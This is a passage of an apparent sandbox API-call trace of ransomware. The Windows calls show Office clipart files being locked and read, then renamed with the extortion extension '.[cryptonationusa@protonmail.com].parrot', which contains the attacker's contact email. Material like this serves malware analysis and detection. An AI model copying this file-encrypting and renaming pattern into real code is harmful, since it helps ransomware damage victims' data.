dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa9c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0148.742] CloseHandle (hObject=0x27c) returned 1 [0148.742] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01160_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01160_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01160_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0148.745] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6b4, nNumberOfBytesToLockHigh=0x0) returned 1 [0148.745] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0148.745] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0148.780] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.780] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x59c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x59c, lpOverlapped=0x0) returned 1 [0148.781] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.781] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6b4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0148.781] CloseHandle (hObject=0x27c) returned 1 [0148.782] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01172_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01172_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01172_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0148.809] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x40b4, nNumberOfBytesToLockHigh=0x0) returned 1 [0148.809] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0148.812] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0148.813] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.813] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3f9c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3f9c, lpOverlapped=0x0) returned 1 [0148.814] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.815] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x40b4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0148.815] CloseHandle (hObject=0x288) returned 1 [0148.815] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01191_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01191_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01191_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0148.819] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1530, nNumberOfBytesToLockHigh=0x0) returned 1 [0148.820] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0148.820] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0148.821] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.821] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1418, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1418, lpOverlapped=0x0) returned 1 [0148.822] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.822] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1530, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0148.823] CloseHandle (hObject=0x288) returned 1 [0148.823] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01661_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01661_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01661_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01661_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0148.835] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xef2, nNumberOfBytesToLockHigh=0x0) returned 1 [0148.835] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0148.835] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0148.837] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.837] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xdda, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xdda, lpOverlapped=0x0) returned 1 [0148.837] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.838] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xef2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0148.838] CloseHandle (hObject=0x288) returned 1 [0148.838] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01797_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01797_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01797_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01797_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0148.844] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x24ec, nNumberOfBytesToLockHigh=0x0) returned 1 [0148.844] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0148.844] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0148.847] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.847] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x23d4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x23d4, lpOverlapped=0x0) returned 1 [0148.848] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.849] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x24ec, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0148.849] CloseHandle (hObject=0x288) returned 1 [0148.849] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02120_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02120_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02120_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02120_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0148.859] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x20dc, nNumberOfBytesToLockHigh=0x0) returned 1 [0148.859] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0148.859] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0148.861] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.861] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1fc4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1fc4, lpOverlapped=0x0) returned 1 [0148.862] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.863] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x20dc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0148.863] CloseHandle (hObject=0x288) returned 1 [0148.864] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02169_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02169_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0148.868] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x76fa, nNumberOfBytesToLockHigh=0x0) returned 1 [0148.868] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0148.868] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0148.870] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.870] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x75e2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x75e2, lpOverlapped=0x0) returned 1 [0148.871] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.874] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x76fa, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0148.874] CloseHandle (hObject=0x288) returned 1 [0148.874] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02262_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02262_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02262_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0148.880] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8366, nNumberOfBytesToLockHigh=0x0) returned 1 [0148.880] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0148.880] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0148.882] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.883] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x824e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x824e, lpOverlapped=0x0) returned 1 [0148.886] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.886] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8366, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0148.886] CloseHandle (hObject=0x288) returned 1 [0148.886] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02263_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02263_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02263_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02263_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0148.891] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x63ca, nNumberOfBytesToLockHigh=0x0) returned 1 [0148.891] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0148.891] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0148.892] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.893] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x62b2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x62b2, lpOverlapped=0x0) returned 1 [0148.895] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.896] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x63ca, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0148.896] CloseHandle (hObject=0x288) returned 1 [0148.896] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02265_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02265_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02265_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0148.928] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x79f8, nNumberOfBytesToLockHigh=0x0) returned 1 [0148.928] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0148.928] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0148.930] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.931] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x78e0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x78e0, lpOverlapped=0x0) returned 1 [0148.932] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.933] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x79f8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0148.933] CloseHandle (hObject=0x288) returned 1 [0148.933] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02267_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02267_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02267_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0148.939] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x703e, nNumberOfBytesToLockHigh=0x0) returned 1 [0148.939] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0148.939] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0148.941] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.941] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6f26, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6f26, lpOverlapped=0x0) returned 1 [0148.943] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.944] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x703e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0148.945] CloseHandle (hObject=0x288) returned 1 [0148.945] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02270_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02270_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02270_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0148.951] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xbadc, nNumberOfBytesToLockHigh=0x0) returned 1 [0148.951] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0148.951] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0148.953] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.953] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb9c4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xb9c4, lpOverlapped=0x0) returned 1 [0148.956] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.957] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xbadc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0148.957] CloseHandle (hObject=0x288) returned 1 [0148.957] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02278_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02278_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02278_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02278_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0148.961] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6a40, nNumberOfBytesToLockHigh=0x0) returned 1 [0148.961] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0148.961] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0148.962] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.962] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6928, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6928, lpOverlapped=0x0) returned 1 [0148.965] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.999] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6a40, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0148.999] CloseHandle (hObject=0x288) returned 1 [0148.999] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02280_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02280_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02280_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02280_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0149.004] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7518, nNumberOfBytesToLockHigh=0x0) returned 1 [0149.004] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0149.004] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0149.005] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.005] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7400, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7400, lpOverlapped=0x0) returned 1 [0149.007] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.008] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7518, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0149.008] CloseHandle (hObject=0x288) returned 1 [0149.009] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02282_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft 